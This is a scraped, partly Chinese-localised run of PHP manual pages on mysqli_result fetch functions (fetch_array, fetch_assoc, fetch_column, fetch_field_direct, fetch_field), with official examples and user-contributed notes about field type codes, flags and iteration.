  • mysqli_result::fetch_assoc ?
  • PHP Manual
  • mysqli_result
  • Fetch the next row of a result set as an associative, a numeric array, or both

mysqli_result::fetch_array

mysqli_fetch_array

(PHP 5, PHP 7, PHP 8)

mysqli_result::fetch_array -- mysqli_fetch_array — Fetch the next row of a result set as an associative, a numeric array, or both

说明

面向对象风格

public mysqli_result::fetch_array(int $mode = MYSQLI_BOTH): array|null|false

过程化风格

mysqli_fetch_array(mysqli_result $result, int $mode = MYSQLI_BOTH): array|null|false

Fetches one row of data from the result set and returns it as an array. Each subsequent call to this function will return the next row within the result set, or null if there are no more rows.

In addition to storing the data in the numeric indices of the result array, this function can also store the data in associative indices by using the field names of the result set as keys.

If two or more columns of the result have the same name, the last column will take precedence and overwrite any previous data. To access multiple columns with the same name, the numerically indexed version of the row must be used.

Note: 此函数返回的字段名大小写敏感。

Note: 此函数将 NULL 字段设置为 PHP null 值。

参数

result

仅以过程化样式：由 mysqli_query()、mysqli_store_result()、 mysqli_use_result()、mysqli_stmt_get_result() 返回的 mysqli_result 对象。

mode

This optional parameter is a constant indicating what type of array should be produced from the current row data. The possible values for this parameter are the constants MYSQLI_ASSOC, MYSQLI_NUM, or MYSQLI_BOTH.

By using the MYSQLI_ASSOC constant this function will behave identically to the mysqli_fetch_assoc(), while MYSQLI_NUM will behave identically to the mysqli_fetch_row() function. The final option MYSQLI_BOTH will create a single array with the attributes of both.

返回值

Returns an array representing the fetched row, null if there are no more rows in the result set, 或者在失败时返回 false.

示例

Example #1 mysqli_result::fetch_array() example

面向对象风格

<?php

mysqli_report(MYSQLI_REPORT_ERROR | MYSQLI_REPORT_STRICT);
$mysqli = new mysqli("localhost", "my_user", "my_password", "world");

$query = "SELECT Name, CountryCode FROM City ORDER BY ID LIMIT 3";
$result = $mysqli->query($query);

/* numeric array */
$row = $result->fetch_array(MYSQLI_NUM);
printf("%s (%s)\n", $row[0], $row[1]);

/* associative array */
$row = $result->fetch_array(MYSQLI_ASSOC);
printf("%s (%s)\n", $row["Name"], $row["CountryCode"]);

/* associative and numeric array */
$row = $result->fetch_array(MYSQLI_BOTH);
printf("%s (%s)\n", $row[0], $row["CountryCode"]);

过程化风格

<?php

mysqli_report(MYSQLI_REPORT_ERROR | MYSQLI_REPORT_STRICT);
$mysqli = mysqli_connect("localhost", "my_user", "my_password", "world");

$query = "SELECT Name, CountryCode FROM City ORDER by ID LIMIT 3";
$result = mysqli_query($mysqli, $query);

/* numeric array */
$row = mysqli_fetch_array($result, MYSQLI_NUM);
printf("%s (%s)\n", $row[0], $row[1]);

/* associative array */
$row = mysqli_fetch_array($result, MYSQLI_ASSOC);
printf("%s (%s)\n", $row["Name"], $row["CountryCode"]);

/* associative and numeric array */
$row = mysqli_fetch_array($result, MYSQLI_BOTH);
printf("%s (%s)\n", $row[0], $row["CountryCode"]);

以上示例的输出类似于：

Kabul (AFG)
Qandahar (AFG)
Herat (AFG)

参见

  • mysqli_fetch_assoc() - Fetch the next row of a result set as an associative array
  • mysqli_fetch_column() - Fetch a single column from the next row of a result set
  • mysqli_fetch_row() - Fetch the next row of a result set as an enumerated array
  • mysqli_fetch_object() - Fetch the next row of a result set as an object
  • mysqli_query() - 对数据库执行查询
  • mysqli_data_seek() - Adjusts the result pointer to an arbitrary row in the result

User Contributed Notes

There are no user contributed notes for this page.


Fetch the next row of a result set as an associative array

  • ? mysqli_result::fetch_array
  • mysqli_result::fetch_column ?
  • PHP Manual
  • mysqli_result
  • Fetch the next row of a result set as an associative array

mysqli_result::fetch_assoc

mysqli_fetch_assoc

(PHP 5, PHP 7, PHP 8)

mysqli_result::fetch_assoc -- mysqli_fetch_assoc — Fetch the next row of a result set as an associative array

说明

面向对象风格

public mysqli_result::fetch_assoc(): array|null|false

过程化风格

mysqli_fetch_assoc(mysqli_result $result): array|null|false

Fetches one row of data from the result set and returns it as an associative array. Each subsequent call to this function will return the next row within the result set, or null if there are no more rows.

If two or more columns of the result have the same name, the last column will take precedence and overwrite any previous data. To access multiple columns with the same name, mysqli_fetch_row() may be used to fetch the numerically indexed array, or aliases may be used in the SQL query select list to give columns different names.

Note: 此函数返回的字段名大小写敏感。

Note: 此函数将 NULL 字段设置为 PHP null 值。

参数

result

仅以过程化样式：由 mysqli_query()、mysqli_store_result()、 mysqli_use_result()、mysqli_stmt_get_result() 返回的 mysqli_result 对象。

返回值

Returns an associative array representing the fetched row, where each key in the array represents the name of one of the result set's columns, null if there are no more rows in the result set, 或者在失败时返回 false.

示例

Example #1 mysqli_result::fetch_assoc() example

面向对象风格

<?php

mysqli_report(MYSQLI_REPORT_ERROR | MYSQLI_REPORT_STRICT);
$mysqli = new mysqli("localhost", "my_user", "my_password", "world");

$query = "SELECT Name, CountryCode FROM City ORDER BY ID DESC";

$result = $mysqli->query($query);

/* fetch associative array */
while ($row = $result->fetch_assoc()) {
printf("%s (%s)\n", $row["Name"], $row["CountryCode"]);
}

过程化风格

<?php

mysqli_report(MYSQLI_REPORT_ERROR | MYSQLI_REPORT_STRICT);
$mysqli = mysqli_connect("localhost", "my_user", "my_password", "world");

$query = "SELECT Name, CountryCode FROM City ORDER BY ID DESC";

$result = mysqli_query($mysqli, $query);

/* fetch associative array */
while ($row = mysqli_fetch_assoc($result)) {
printf("%s (%s)\n", $row["Name"], $row["CountryCode"]);
}

以上示例的输出类似于：

Pueblo (USA)
Arvada (USA)
Cape Coral (USA)
Green Bay (USA)
Santa Clara (USA)

Example #2 Comparison of mysqli_result iterator and mysqli_result::fetch_assoc() usage

mysqli_result can be iterated using foreach. The result set will always be iterated from the first row, regardless of the current position.

<?php

mysqli_report(MYSQLI_REPORT_ERROR | MYSQLI_REPORT_STRICT);
$mysqli = new mysqli("localhost", "my_user", "my_password", "world");

$query = 'SELECT Name, CountryCode FROM City ORDER BY ID DESC';

// Using iterators
$result = $mysqli->query($query);
foreach ($result as $row) {
printf("%s (%s)\n", $row["Name"], $row["CountryCode"]);
}

echo "\n==================\n";

// Not using iterators
$result = $mysqli->query($query);
while ($row = $result->fetch_assoc()) {
printf("%s (%s)\n", $row["Name"], $row["CountryCode"]);
}

以上示例的输出类似于：

Pueblo (USA)
Arvada (USA)
Cape Coral (USA)
Green Bay (USA)
Santa Clara (USA)

==================
Pueblo (USA)
Arvada (USA)
Cape Coral (USA)
Green Bay (USA)
Santa Clara (USA)

参见

  • mysqli_fetch_array() - Fetch the next row of a result set as an associative, a numeric array, or both
  • mysqli_fetch_column() - Fetch a single column from the next row of a result set
  • mysqli_fetch_row() - Fetch the next row of a result set as an enumerated array
  • mysqli_fetch_object() - Fetch the next row of a result set as an object
  • mysqli_query() - 对数据库执行查询
  • mysqli_data_seek() - Adjusts the result pointer to an arbitrary row in the result

User Contributed Notes

Enrique Garcia 26-Apr-2023 08:35
There is a difference between MariaDB and MySQL(>5.4) whether the input parameter (mysqli object) has data or is empty (it comes from a previus query).
-MariaDB:  you get an exception:
Fatal error: Uncaught TypeError: mysqli_fetch_assoc(): Argument #1 ($result) must be of type mysqli_result
-MySQL: you can continue, in spite of not having data in the mysqli object.
gilles dot falquet at unige dot ch 07-Dec-2017 08:24
Be careful when using fetch_assoc instead of fetch_row. If two columns of the result have the same column name, even if they are prefixed with different table names in the query, only one of them will be retained in the result. This is because the prefix is dropped (either by mysql or by this function)

For example if the query is

     select p1.name, p2.name
     from person p1, friend, person p2
     where p1.id = friend.person1 and p2.id = friend.person2

the arrays returned by fetch_assoc will be of the form

{'name' => 'bob'}
{'name' => 'anna'}

and not (as expected)

{'p1.name' => 'bob', 'p2.name' => 'alice'}
{'p1.name' => 'anna', 'p2.name' => 'irla'}
paul dot allsopp at inseego dot com 20-Apr-2017 03:27
The official example given here breaks a cardinal rule, and should be rectified.

while ($row = $result->fetch_assoc())...

...breaks the rule of "assignment in condition".

while (($x = $y->getZ()) !== false) or
while (($x = $y->getZ()) !== null)

...is the correct syntax.

Conditional statements should always check for a boolean
Hesham Mohamed Sediek 24-Apr-2015 02:02
when you fetch the data from the query variable
and try to fetch it again in another part of the script
from the same query variable ,
when you try to echo all data you have fetched,
it will not echo the data you have used in the first fetch
(it will exceed the results you have used in the first fetch).......

Example :
<?php
$connect = new mysqli("localhost","root","root","elshamy")
 or die (mysqli_error());

$query=$connect->query("SELECT * FROM users ORDER BY id ASC");

$first_fetch=$query->fetch_array(MYSQLI_ASSOC);
echo $first_fetch['id']."===>".$first_fetch['user_name']."\n--------------------\n";

while($row=$query->fetch_array(MYSQLI_ASSOC)){

/*it will exceed the first
id&user_name value that
you have use in the first fetch*/

echo $row['id']."  ".$row['user_name']."<br/>";
}
?>

above example will echo :
1===>userA
------------------------
2===>userB
3===>userC
4===>userD
Miller 07-Aug-2013 05:26
I often like to have my results sent elsewhere in the format of an array (although keep in mind that if you just plan on traversing through the array in another part of the script, this extra step is just a waste of time).

This is my one-liner for transforming a mysqli_result set into an array.
<?php
$sql = new MySQLi($host, $username, $password, $database);

$result = $sql->query("SELECT * FROM `$table`;");
for ($set = array (); $row = $result->fetch_assoc(); $set[] = $row);
print_r($set);
?>

Outputs:
Array
(
    [0] => Array
        (
            [id] => 1
            [field2] => a
            [field3] => b
        ),
    [1] => Array
        (
            [id] => 2
            [field2] => c
            [field3] => d
        )
)

I use other variations to adapt to the situation, i.e. if I am selecting only one field:
<?php
$sql = new MySQLi($host, $username, $password, $database);
$result = $sql->query("SELECT `field2` FROM `$table`;");
for ($set = array (); $row = $result->fetch_assoc(); $set[] = $row['field2']);
print_r($set);
?>
Outputs:
Array
(
    [0] => a
    [1] => c
)

Or, to make the array associative with the primary index (code assumes primary index is the first field in the table):
<?php
$sql = new MySQLi($host, $username, $password, $database);
$result = $sql->query("SELECT * FROM `$table`;");
for ($set = array (); $row = $result->fetch_assoc(); $set[array_shift($row)] = $row);
print_r($set);
?>
Outputs:
Array
(
    [1] => Array
        (
            [field2] => a
            [field3] => b
        ),
    [2] => Array
        (
            [field2] => c
            [field3] => d
        )
)
james dot phx at gmail dot com 11-Aug-2011 05:58
IMPORTANT NOTE:

If you were used to using code like this:

<?php
while(false !== ($row = mysql_fetch_assoc($result)))
{
    //...
}
?>

You must change it to this for mysqli:

<?php
while(null !== ($row = mysqli_fetch_assoc($result)))
{
    //...
}
?>

The former will cause your script to run until max_execution_time is reached.


Fetch a single column from the next row of a result set

  • ? mysqli_result::fetch_assoc
  • mysqli_result::fetch_field_direct ?
  • PHP Manual
  • mysqli_result
  • Fetch a single column from the next row of a result set

mysqli_result::fetch_column

mysqli_fetch_column

(PHP 8 >= 8.1.0)

mysqli_result::fetch_column -- mysqli_fetch_column — Fetch a single column from the next row of a result set

说明

面向对象风格

public mysqli_result::fetch_column(int $column = 0): null|int|float|string|false

过程化风格

mysqli_fetch_column(mysqli_result $result, int $column = 0): null|int|float|string|false

Fetches one row of data from the result set and returns the 0-indexed column. Each subsequent call to this function will return the value from the next row within the result set, or false if there are no more rows.

Note: 此函数将 NULL 字段设置为 PHP null 值。

参数

result

仅以过程化样式：由 mysqli_query()、mysqli_store_result()、 mysqli_use_result()、mysqli_stmt_get_result() 返回的 mysqli_result 对象。

column

0-indexed number of the column you wish to retrieve from the row. If no value is supplied, the first column will be returned.

返回值

Returns a single column from the next row of a result set or false if there are no more rows.

Warning

There is no way to return another column from the same row if you use this function to retrieve data.

示例

Example #1 mysqli_result::fetch_column() example

面向对象风格

<?php

mysqli_report(MYSQLI_REPORT_ERROR | MYSQLI_REPORT_STRICT);
$mysqli = new mysqli("localhost", "my_user", "my_password", "world");

$query = "SELECT CountryCode, Name FROM City ORDER BY ID DESC LIMIT 5";

$result = $mysqli->query($query);

/* fetch a single value from the second column */
while ($Name = $result->fetch_column(1)) {
printf("%s\n", $Name);
}

过程化风格

<?php

mysqli_report(MYSQLI_REPORT_ERROR | MYSQLI_REPORT_STRICT);
$mysqli = mysqli_connect("localhost", "my_user", "my_password", "world");

$query = "SELECT CountryCode, Name FROM City ORDER BY ID DESC LIMIT 5";

$result = mysqli_query($mysqli, $query);

/* fetch a single value from the second column */
while ($Name = mysqli_fetch_column($result, 1)) {
printf("%s\n", $Name);
}

以上示例的输出类似于：

Rafah
Nablus
Jabaliya
Hebron
Khan Yunis

参见

  • mysqli_fetch_all() - Fetch all result rows as an associative array, a numeric array, or both
  • mysqli_fetch_array() - Fetch the next row of a result set as an associative, a numeric array, or both
  • mysqli_fetch_assoc() - Fetch the next row of a result set as an associative array
  • mysqli_fetch_object() - Fetch the next row of a result set as an object
  • mysqli_fetch_row() - Fetch the next row of a result set as an enumerated array
  • mysqli_data_seek() - Adjusts the result pointer to an arbitrary row in the result

User Contributed Notes

There are no user contributed notes for this page.


Fetch meta-data for a single field

  • ? mysqli_result::fetch_column
  • mysqli_result::fetch_field ?
  • PHP Manual
  • mysqli_result
  • Fetch meta-data for a single field

mysqli_result::fetch_field_direct

mysqli_fetch_field_direct

(PHP 5, PHP 7, PHP 8)

mysqli_result::fetch_field_direct -- mysqli_fetch_field_direct — Fetch meta-data for a single field

说明

面向对象风格

public mysqli_result::fetch_field_direct(int $index): object|false

过程化风格

mysqli_fetch_field_direct(mysqli_result $result, int $index): object|false

Returns an object which contains field definition information from the specified result set.

参数

result

仅以过程化样式：由 mysqli_query()、mysqli_store_result()、 mysqli_use_result()、mysqli_stmt_get_result() 返回的 mysqli_result 对象。

index

The field number. This value must be in the range from 0 to number of fields - 1.

返回值

Returns an object which contains field definition information or false if no field information for specified index is available.

Object attributes
Attribute | Description
name | The name of the column
orgname | Original column name if an alias was specified
table | The name of the table this field belongs to (if not calculated)
orgtable | Original table name if an alias was specified
def | The default value for this field, represented as a string
max_length | The maximum width of the field for the result set. As of PHP 8.1, this value is always 0.
length | The width of the field, as specified in the table definition.
charsetnr | The character set number for the field.
flags | An integer representing the bit-flags for the field.
type | The data type used for this field
decimals | The number of decimals used (for numeric fields)

示例

Example #1 面向对象风格

<?php
$mysqli = new mysqli("localhost", "my_user", "my_password", "world");

/* check connection */
if (mysqli_connect_errno()) {
printf("Connect failed: %s\n", mysqli_connect_error());
exit();
}

$query = "SELECT Name, SurfaceArea from Country ORDER BY Name LIMIT 5";

if ($result = $mysqli->query($query)) {

/* Get field information for column 'SurfaceArea' */
$finfo = $result->fetch_field_direct(1);

printf("Name: %s\n", $finfo->name);
printf("Table: %s\n", $finfo->table);
printf("max. Len: %d\n", $finfo->max_length);
printf("Flags: %d\n", $finfo->flags);
printf("Type: %d\n", $finfo->type);

$result->close();
}

/* close connection */
$mysqli->close();
?>

Example #2 过程化风格

<?php
$link = mysqli_connect("localhost", "my_user", "my_password", "world");

/* check connection */
if (mysqli_connect_errno()) {
printf("Connect failed: %s\n", mysqli_connect_error());
exit();
}

$query = "SELECT Name, SurfaceArea from Country ORDER BY Name LIMIT 5";

if ($result = mysqli_query($link, $query)) {

/* Get field information for column 'SurfaceArea' */
$finfo = mysqli_fetch_field_direct($result, 1);

printf("Name: %s\n", $finfo->name);
printf("Table: %s\n", $finfo->table);
printf("max. Len: %d\n", $finfo->max_length);
printf("Flags: %d\n", $finfo->flags);
printf("Type: %d\n", $finfo->type);

mysqli_free_result($result);
}

/* close connection */
mysqli_close($link);
?>

以上示例会输出：

Name:     SurfaceArea
Table:    Country
max. Len: 10
Flags:    32769
Type:     4

参见

  • mysqli_num_fields() - Gets the number of fields in the result set
  • mysqli_fetch_field() - Returns the next field in the result set
  • mysqli_fetch_fields() - Returns an array of objects representing the fields in a result set

User Contributed Notes

Anonymous 03-Jul-2020 06:40
JSON type is 245 if anyone is wondering.
anatoliy at ukhvanovy dot name 21-Mar-2015 10:58
You can find all available data types here:
https://php.net/manual/ru/mysqli.constants.php
(search "MYSQLI_TYPE_" in your browser)
gmx dot net at Hoffmann dot P 18-Jun-2014 01:32
Warning!
This function is not only more memory consuming than expected but the consumption also depends on the size of the result set. So if you realy only want to get your field_names you might want to append " LIMIT 1" or use mysqli->unbuffered_query() to save yourself from a memory bloat.
andre at koethur dot de 20-Apr-2014 07:53
Here are two methods for converting the 'type' and 'flags' attributes to text for debugging purposes. They both use the predefined MYSQLI_ constants to generate the text.

<?php

public static function h_type2txt($type_id)
{
    static $types;

    if (!isset($types))
    {
        $types = array();
        $constants = get_defined_constants(true);
        foreach ($constants['mysqli'] as $c => $n) if (preg_match('/^MYSQLI_TYPE_(.*)/', $c, $m)) $types[$n] = $m[1];
    }

    return array_key_exists($type_id, $types)? $types[$type_id] : NULL;
}

public static function h_flags2txt($flags_num)
{
    static $flags;

    if (!isset($flags))
    {
        $flags = array();
        $constants = get_defined_constants(true);
        foreach ($constants['mysqli'] as $c => $n) if (preg_match('/MYSQLI_(.*)_FLAG$/', $c, $m)) if (!array_key_exists($n, $flags)) $flags[$n] = $m[1];
    }

    $result = array();
    foreach ($flags as $n => $t) if ($flags_num & $n) $result[] = $t;
    return implode(' ', $result);
}

?>
ben dot NOSPAM at NOSPAM dot seraphire dot com 06-Dec-2012 04:01
This may be obvious, but the constants for the field types are already defined in PHP, and can be found in the documentation at: http://php.net/manual/en/mysqli.constants.php
bl at example dot com 09-Aug-2010 10:11
note that
"SELECT <timestamp-field>, ..."
will return the field with type 7 (timestamp) but with content like "2010-07-14 14:35:08". the point being it is a string.

"SELECT <timestamp-field> + 0, ..."
returns a type 5 (double) but while a number, is not seconds since epoch, but a number in MySQL's "YYYYMMDDHHMMSS" format, in this example:
20100714143508

(PHP 5.2.12)
shoresofnowhere at gmail dot com 26-Aug-2009 03:50
Beware of the fact that the ->def property NEVER gets filled with the correct default field value, so it's totally USELESS.

This happens NOT for a bug in php (so don't go filling in a bug report), but happens BY DESIGN, since the MySQL C API call doesn't fill in this value, unless you call the mysql_list_fields() function, which Php doesn't.

See here for reference.
http://dev.mysql.com/doc/refman/5.0/en/c-api-datatypes.html

Also, be aware that if you're using a query which contains subqueries, the primary key/autoincrement flags do NOT get passed along, even if the field you're looking at is the primary autoincrement key of the master table:

SELECT * from (SELECT id from areas) AS subareas

and you'll find primary key and autoinc flags off on id field, even if id was the primary autoinc key of areas table.

This also is by design, i think, since it's supposed that if we're using a subquery then the primary key/autoinc stuff might have no sense at all, since in the result set we can compose fileds from many different tables.

Hoping this is useful, bye!
gcdreak at example dot com 18-Aug-2009 03:28
I wrote a simple class to get info about fields.
Try it!

<?php
            class MysqlFieldsInfo implements Iterator
            {

                private $result;
                private $position;
                private $row;

                function __construct($result){
                    $this->result = $result;
                    $this->position = 0;
                    $this->rewind();    // W $results wewn?trzny wska?nik mo?e by? przesuni?ty wi?c powracamy do pocz?tku
                }

                public function current(){
                    return $this->row;
                }

                public function next(){
                    $this->position++;
                    $this->row = $this->result->fetch_field();
                }

                public function valid(){
                    return (boolean) $this->row;
                }

                public function key(){
                    return $this->position;
                }

                public function rewind(){
                    $this->position = 0;
                    $this->result->field_seek(0);
                    $this->next();
                }

                //    This function show data in table
                public function export(){

                    echo '<table id="db_table_info">';
                    echo '<tr>
                                                <th>Name</th>
                                                <th>Orgname</th>
                                                <th>Table</th>
                                                <th>Orgtable</th>
                                                <th>Def</th>
                                                 <th>Max_length</th>
                                                 <th>Length</th>
                                                 <th>Charsetnr</th>
                                                 <th>Flags</th>
                                                 <th>Type</th>
                                                  <th>Decimals</th>
                                          </tr>';
                    while($this->valid()){
                        echo '<tr>';
                        printf("\n\t<td>%s</td>\n", $this->current()->name);
                        printf("\t<td>%s</td>\n", $this->current()->orgname);
                        printf("\t<td>%s</td>\n", $this->current()->orgtable);
                        printf("\t<td>%s</td>\n", $this->current()->def);
                        printf("\t<td>%s</td>\n", $this->current()->max_length);
                        printf("\t<td>%s</td>\n", $this->current()->length);
                        printf("\t<td>%s</td>\n", $this->current()->charsetnr);
                        printf("\t<td>%s</td>\n", $this->current()->flags);
                        printf("\t<td>%s</td>\n", $this->current()->type);
                        printf("\t<td>%s</td>\n", $this->current()->decimals);

                        echo '</tr>';

                        $this->next();
                    }

                    echo '</table>';
                }
            }
?>
daniel at summit cove dot com 22-Feb-2009 03:36
Here's a bigger list of data types.  I got this by creating every type I could and calling fetch_fields():

<?php
$mysql_data_type_hash = array(
    1=>'tinyint',
    2=>'smallint',
    3=>'int',
    4=>'float',
    5=>'double',
    7=>'timestamp',
    8=>'bigint',
    9=>'mediumint',
    10=>'date',
    11=>'time',
    12=>'datetime',
    13=>'year',
    16=>'bit',
    //252 is currently mapped to all text and blob types (MySQL 5.0.51a)
    253=>'varchar',
    254=>'char',
    246=>'decimal'
);
?>
cjs at ashdowntech dot com 16-Sep-2008 09:52
According to
http://www.redferni.uklinux.net/mysql/MySQL-Protocol.html

Data type values are:

DECIMAL           0       ENUM           247
TINY              1       SET            248
SHORT             2       TINY_BLOB      249
LONG              3       MEDIUM_BLOB    250
FLOAT             4       LONG_BLOB      251
DOUBLE            5       BLOB           252
NULL              6       VAR_STRING     253
TIMESTAMP         7       STRING         254
LONGLONG          8       GEOMETRY       255
INT24             9
DATE             10
TIME             11
DATETIME         12
YEAR             13
NEWDATE          14

Note that this is not tested and does not contain
all the values noted by deluxmozart
cjs at ashdowntech dot com 12-Sep-2008 08:00
According to
dev.mysql.com/sources/doxygen/mysql-5.1/mysql__com_8h-source.html
the flag bits are:

 NOT_NULL_FLAG          1         /* Field can't be NULL */
 PRI_KEY_FLAG           2         /* Field is part of a primary key */
 UNIQUE_KEY_FLAG        4         /* Field is part of a unique key */
 MULTIPLE_KEY_FLAG      8         /* Field is part of a key */
 BLOB_FLAG             16         /* Field is a blob */
 UNSIGNED_FLAG         32         /* Field is unsigned */
 ZEROFILL_FLAG         64         /* Field is zerofill */
 BINARY_FLAG          128         /* Field is binary   */
 ENUM_FLAG            256         /* field is an enum */
 AUTO_INCREMENT_FLAG  512         /* field is a autoincrement field */
 TIMESTAMP_FLAG      1024         /* Field is a timestamp */
deluxmozart at yahoo dot de 24-Jul-2008 11:05
Here are some Numbers of Datatypes. I searched for it but i didn't find a list, where the datatypes of the numbers are listed.

so first I can give this:

    3    -    Int
    10    -    Date
    246    -    Decimal
    252    -     text
    253    -    VarChar
    254    -    Boolean


Returns the next field in the result set

  • ? mysqli_result::fetch_field_direct
  • mysqli_result::fetch_fields ?
  • PHP Manual
  • mysqli_result
  • Returns the next field in the result set

mysqli_result::fetch_field

mysqli_fetch_field

(PHP 5, PHP 7, PHP 8)

mysqli_result::fetch_field -- mysqli_fetch_field — Returns the next field in the result set

说明

面向对象风格

public mysqli_result::fetch_field(): object|false

过程化风格

mysqli_fetch_field(mysqli_result $result): object|false

Returns the definition of one column of a result set as an object. Call this function repeatedly to retrieve information about all columns in the result set.

参数

result

仅以过程化样式：由 mysqli_query()、mysqli_store_result()、 mysqli_use_result()、mysqli_stmt_get_result() 返回的 mysqli_result 对象。

返回值

Returns an object which contains field definition information or false if no field information is available.

Object properties
Property | Description
name | The name of the column
orgname | Original column name if an alias was specified
table | The name of the table this field belongs to (if not calculated)
orgtable | Original table name if an alias was specified
def | Reserved for default value, currently always ""
db | The name of the database
catalog | The catalog name, always "def"
max_length | The maximum width of the field for the result set.
length | The width of the field, as specified in the table definition.
charsetnr | The character set number for the field.
flags | An integer representing the bit-flags for the field.
type | The data type used for this field
decimals | The number of decimals used (for integer fields)

示例

Example #1 面向对象风格

<?php
$mysqli = new mysqli("localhost", "my_user", "my_password", "world");

/* check connection */
if (mysqli_connect_errno()) {
printf("Connect failed: %s\n", mysqli_connect_error());
exit();
}

$query = "SELECT Name, SurfaceArea from Country ORDER BY Code LIMIT 5";

if ($result = $mysqli->query($query)) {

/* Get field information for all columns */
while ($finfo = $result->fetch_field()) {

printf("Name: %s\n", $finfo->name);
printf("Table: %s\n", $finfo->table);
printf("max. Len: %d\n", $finfo->max_length);
printf("Flags: %d\n", $finfo->flags);
printf("Type: %d\n\n", $finfo->type);
}
$result->close();
}

/* close connection */
$mysqli->close();
?>

Example #2 过程化风格

<?php
$link = mysqli_connect("localhost", "my_user", "my_password", "world");

/* check connection */
if (mysqli_connect_errno()) {
printf("Connect failed: %s\n", mysqli_connect_error());
exit();
}

$query = "SELECT Name, SurfaceArea from Country ORDER BY Code LIMIT 5";

if ($result = mysqli_query($link, $query)) {

/* Get field information for all fields */
while ($finfo = mysqli_fetch_field($result)) {

printf("Name: %s\n", $finfo->name);
printf("Table: %s\n", $finfo->table);
printf("max. Len: %d\n", $finfo->max_length);
printf("Flags: %d\n", $finfo->flags);
printf("Type: %d\n\n", $finfo->type);
}
mysqli_free_result($result);
}

/* close connection */
mysqli_close($link);
?>

以上示例会输出：

Name:     Name
Table:    Country
max. Len: 11
Flags:    1
Type:     254

Name:     SurfaceArea
Table:    Country
max. Len: 10
Flags:    32769
Type:     4

参见

  • mysqli_num_fields() - Gets the number of fields in the result set
  • mysqli_fetch_field_direct() - Fetch meta-data for a single field
  • mysqli_fetch_fields() - Returns an array of objects representing the fields in a result set
  • mysqli_field_seek() - Set result pointer to a specified field offset

User Contributed Notes

sofe2038 at gmail dot com 15-Mar-2018 12:55
The constants in a few other comments above appear to be inaccurate. Here are some more official references that seem quite hard to search.

The "type" attribute: https://dev.mysql.com/doc/internals/en/com-query-response.html#column-type
The "flags" attribute: https://github.com/google/mysql/blob/master/include/mysql_com.h#L133

In addition, all attributes are explained on the COM_QUERY_RESPONSE page too: https://dev.mysql.com/doc/internals/en/com-query-response.html#column-definition
nick 10-Nov-2017 12:48
It is not possible to get the values for an enum or set field through fetch_fields(). As far as I can tell this is because it hasn't been implemented in the mysqlnd api but whatever the reason it is not possible and you must issue a query like SHOW COLUMNS directly and interrogate the result to determine them.

Incidentally you need to check the enum_flag rather than look for the enum_type to determine whether a field is enum or not. The type returned is usually some kind of string.
rvila at revolutionvisualarts dot com 20-Oct-2016 02:59
The predefined constant values returned by the function get_predefined_constants() for:

MYSQLI_TYPE_CHAR = 1
MYSQLI _TYPE_TINYINT = 1

If the code is used to categorized the type of field use this values will of course create confusion. For example:

if($fieldtype === "CHAR"){
    $field_html_attribute = "text";
    $field_html_length = 1;
} elseif($fieldtype === "TINYINT") {
    $field_html_attribute = "number";
    $field_html_length = 1;
}

If an array is created to set the key as the numeric value and the value of that key as the the text title, TINYINT will be replaced by CHAR value. But is this process is reversed, then the code will select TINYINT if the foreach statement set to break when the numeric value of the flag equals the value of the current key as the first intance.

Base in the note added by Johnathan at http://php.net/manual/en/mysqli.field-count.php the values should be:

CHAR = 254
TINYINT = 1

But predefined function attributes the value 254 to MYSQLI_TYPE_STRING.

Just for FYI
andre at koethur dot de 19-Apr-2014 08:13
Here are two methods for converting the 'type' and 'flags' attributes to text for debugging purposes. They both use the predefined MYSQLI_ constants to generate the text.

<?php

public static function h_type2txt($type_id)
{
    static $types;

    if (!isset($types))
    {
        $types = array();
        $constants = get_defined_constants(true);
        foreach ($constants['mysqli'] as $c => $n) if (preg_match('/^MYSQLI_TYPE_(.*)/', $c, $m)) $types[$n] = $m[1];
    }

    return array_key_exists($type_id, $types)? $types[$type_id] : NULL;
}

public static function h_flags2txt($flags_num)
{
    static $flags;

    if (!isset($flags))
    {
        $flags = array();
        $constants = get_defined_constants(true);
        foreach ($constants['mysqli'] as $c => $n) if (preg_match('/MYSQLI_(.*)_FLAG$/', $c, $m)) if (!array_key_exists($n, $flags)) $flags[$n] = $m[1];
    }

    $result = array();
    foreach ($flags as $n => $t) if ($flags_num & $n) $result[] = $t;
    return implode(' ', $result);
}

?>
miqrogroove at gmail dot com 20-Jan-2013 08:19
Beware the values of the predefined constants.  They do not always correlate with the actual field types.  For example:

MYSQLI_TYPE_BLOB: 252
MYSQLI_TYPE_TINY_BLOB: 249
MYSQLI_TYPE_MEDIUM_BLOB: 250
MYSQLI_TYPE_LONG_BLOB: 251

MySQLi will indeed return a value of 252 for a tinytext field, but as you can see, this does not correspond to the value of MYSQLI_TYPE_TINY_BLOB.
Anonymous 16-Feb-2012 08:20
The constants for the TYPE number returned by fetch_field are enumerated here (MYSQLI_TYPE_*):
http://php.net/manual/en/mysqli.constants.php
iansoko at hotmail dot com 06-Oct-2011 08:24
here are the data types that correspond to the TYPE number returned by fetch_field.

thought i would post this here since i couldn't find the info elsewhere.

numerics
-------------
BIT: 16
TINYINT: 1
BOOL: 1
SMALLINT: 2
MEDIUMINT: 9
INTEGER: 3
BIGINT: 8
SERIAL: 8
FLOAT: 4
DOUBLE: 5
DECIMAL: 246
NUMERIC: 246
FIXED: 246

dates
------------
DATE: 10
DATETIME: 12
TIMESTAMP: 7
TIME: 11
YEAR: 13

strings & binary
------------
CHAR: 254
VARCHAR: 253
ENUM: 254
SET: 254
BINARY: 254
VARBINARY: 253
TINYBLOB: 252
BLOB: 252
MEDIUMBLOB: 252
TINYTEXT: 252
TEXT: 252
MEDIUMTEXT: 252
LONGTEXT: 252
ragtag at hotmail dot com 17-Sep-2008 05:16
The flags used by MySql are:
       NOT_NULL_FLAG = 1
       PRI_KEY_FLAG = 2
       UNIQUE_KEY_FLAG = 4
       BLOB_FLAG = 16
       UNSIGNED_FLAG = 32
       ZEROFILL_FLAG = 64
       BINARY_FLAG = 128
       ENUM_FLAG = 256
       AUTO_INCREMENT_FLAG = 512
       TIMESTAMP_FLAG = 1024
       SET_FLAG = 2048
       NUM_FLAG = 32768
       PART_KEY_FLAG = 16384
       GROUP_FLAG = 32768
       UNIQUE_FLAG = 65536

To test if a flag is set you can use & like so:
<?php
$meta = $mysqli_result_object->fetch_field();
if ($meta->flags & 4) {
  echo 'Unique key flag is set';
}
?>


Returns an array of objects representing the fields in a result set

  • ? mysqli_result::fetch_field
  • mysqli_result::fetch_object ?
  • PHP Manual
  • mysqli_result
  • Returns an array of objects representing the fields in a result set

mysqli_result::fetch_fields

mysqli_fetch_fields

(PHP 5, PHP 7, PHP 8)

